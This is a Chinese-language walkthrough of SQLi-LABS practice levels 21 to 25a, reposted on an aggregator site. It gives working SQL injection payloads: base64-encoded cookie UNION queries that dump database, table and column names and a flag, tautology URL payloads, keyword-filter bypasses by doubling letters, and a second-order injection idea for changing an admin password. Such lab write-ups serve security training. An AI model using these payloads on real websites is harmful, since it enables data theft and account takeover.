SQLi-LABS(21~25a关详解)
SQLi-LABS Less-21
查看題目環境
登陸給我回顯的數據是I LOVE YOU COOKIES。
這題看了網上的wp才知道原來是將我們的uname和passwd都進行base64編碼,表示不知道怎么看出來的。
測試注入點
嘗試
Cookie= uname=admin'轉成base64就是
Cookie= uname=YWRtaW4n
可以發現報錯信息如下,通過報錯信息可以知道,可以使用’)閉合,又因為前面有回顯數據,所以判斷可以使用聯合查詢
SQL注入
因為前面測得具有回顯,所以采取union聯合查詢
流程為
查找列數
Cookie: uname=admin') order by 3 #轉base64
Cookie: uname=YWRtaW4nKSBvcmRlciBieSAzICM=#用于注釋掉sql語句后面的內容,最終查出返回的列數為3列(列數一個一個試,最大的一個數,且不報Unknown column ‘*’ in ‘order clause’)
查詢數據庫
Cookie:uname=-1') union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) #轉base64
Cookie:uname=LTEnKSB1bmlvbiBzZWxlY3QgMSwxLChTRUxFQ1QgR1JPVVBfQ09OQ0FUKHNjaGVtYV9uYW1lKSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSkgIw==這邊uname傳入一個數據庫中沒有的值即可,因為如果是數據庫中存在的值,即會返回多條記錄,會顯示前一個找到的值,而我們想要的將無法顯示。
同時我們使用GROUP_CONCAT將查詢到的數據庫名拼接顯示
查詢數據庫中的表
Cookie:uname=-1') union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" ) #轉base64
Cookie:uname=LTEnKSB1bmlvbiBzZWxlY3QgMSwxLChTRUxFQ1QgR1JPVVBfQ09OQ0FUKFRBQkxFX05BTUUpIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSBUQUJMRV9TQ0hFTUE9ImN0ZnRyYWluaW5nIiApICM=查表中的字段
Cookie:uname=-1') union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag') #轉base64
Cookie:uname=LTEnKSB1bmlvbiBzZWxlY3QgMSwxLChTRUxFQ1QgR1JPVVBfQ09OQ0FUKGNvbHVtbl9uYW1lKSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIHRhYmxlX25hbWUgPSAnZmxhZycpICM=查數據
Cookie:uname=-1') union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag) #轉base64
Cookie:uname=LTEnKSB1bmlvbiBzZWxlY3QgMSwxLChTRUxFQ1QgR1JPVVBfQ09OQ0FUKGZsYWcpIEZST00gY3RmdHJhaW5pbmcuZmxhZykgIw==SQLi-LABS Less-22
查看題目環境
登陸給我回顯的數據是I LOVE YOU COOKIES。
因為做完less21,所以直接嘗試是不是對uname和passwd進行過base64
可以發現確實是對uname和passwd進行了base64加密
測試注入點
嘗試
Cookie= uname=admin"轉成base64就是
Cookie= uname=YWRtaW4i
可以發現報錯信息如下,通過報錯信息可以知道,可以使用雙引號閉合,又因為前面有回顯數據,所以判斷可以使用聯合查詢
SQL注入
因為前面測得具有回顯,所以采取union聯合查詢
流程同Less21
SQLi-LABS Less-23
查看題目環境
首先可以看到這題傳入id=1后,會有回顯,顯示出該條記錄
測試注入點
構造payload
http://7bebb370-fa5d-43b9-8bfb-4b21ace1fa74.node1.buuoj.cn/Less-23/?id=1' or '1'='1頁面正常回顯
payload
http://7bebb370-fa5d-43b9-8bfb-4b21ace1fa74.node1.buuoj.cn/Less-23/?id=1'and '1'='2頁面無數據顯示
由此可以判斷出:此處具有Sql注入漏洞
SQL注入
因為前面測得具有回顯,所以采取union聯合查詢
這邊發現使用–+或者#注釋都會報錯,從報錯信息看應該是把他們都過濾了,所以這邊使用or ‘1’='1閉合后面的單引號
后續詳細聯合查詢可以參考Less1
SQLi-LABS Less-24
查看題目環境
看了網上的大概思路是注冊一個用戶名為admin’#的用戶,然后登陸進去改密碼的時候,后臺的sql語句會自動構建出修改admin的密碼的語句,達到修改admin密碼的效果
這題我在buu平臺上好像有點問題,所以這邊沒有能復現了。
SQLi-LABS Less-25
查看題目環境
首先可以看到這題傳入id=1后,會有回顯,顯示出該條記錄
同時通過下面的提示我們大概可以看出,這題是過濾了’OR‘和’AND‘
后面測試的時候發現還過濾了#
測試注入點
構造payload
http://7bebb370-fa5d-43b9-8bfb-4b21ace1fa74.node1.buuoj.cn/Less-25/?id=1'
通過報錯信息可以發現可以使用單引號閉合。
由此可以判斷出:此處具有Sql注入漏洞
SQL注入
其實過濾掉or和and對我們注入并沒有什么影響,因為我們不需要使用or閉合后面的單引號
找列數因為要用到order,可以雙寫or繞過,就是oorrder可以繞過
然后#可以使用–+替代
后續詳細聯合查詢參考Less1
SQLi-LABS Less-25a
查看題目環境
首先可以看到這題傳入id=1后,會有回顯,顯示出該條記錄
同時通過下面的提示我們大概可以看出,這題是過濾了’OR‘和’AND‘
后面測試的時候發現還過濾了加號和#
測試注入點
構造payload
http://7bebb370-fa5d-43b9-8bfb-4b21ace1fa74.node1.buuoj.cn/Less-25a/?id=1 oorr '1'='1'發現能正常顯示,所以應該是數字型注入
SQL注入
找列數因為要用到order,可以雙寫or繞過,就是oorrder可以繞過
然后又用到or的地方都可以用oorr繞過
后續詳細聯合查詢參考Less1
總結
以上是生活随笔為你收集整理的SQLi-LABS(21~25a关详解)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: SQLi-LABS(11~20关详解)
- 下一篇: 2019浙江省大学生网络与信息安全竞赛决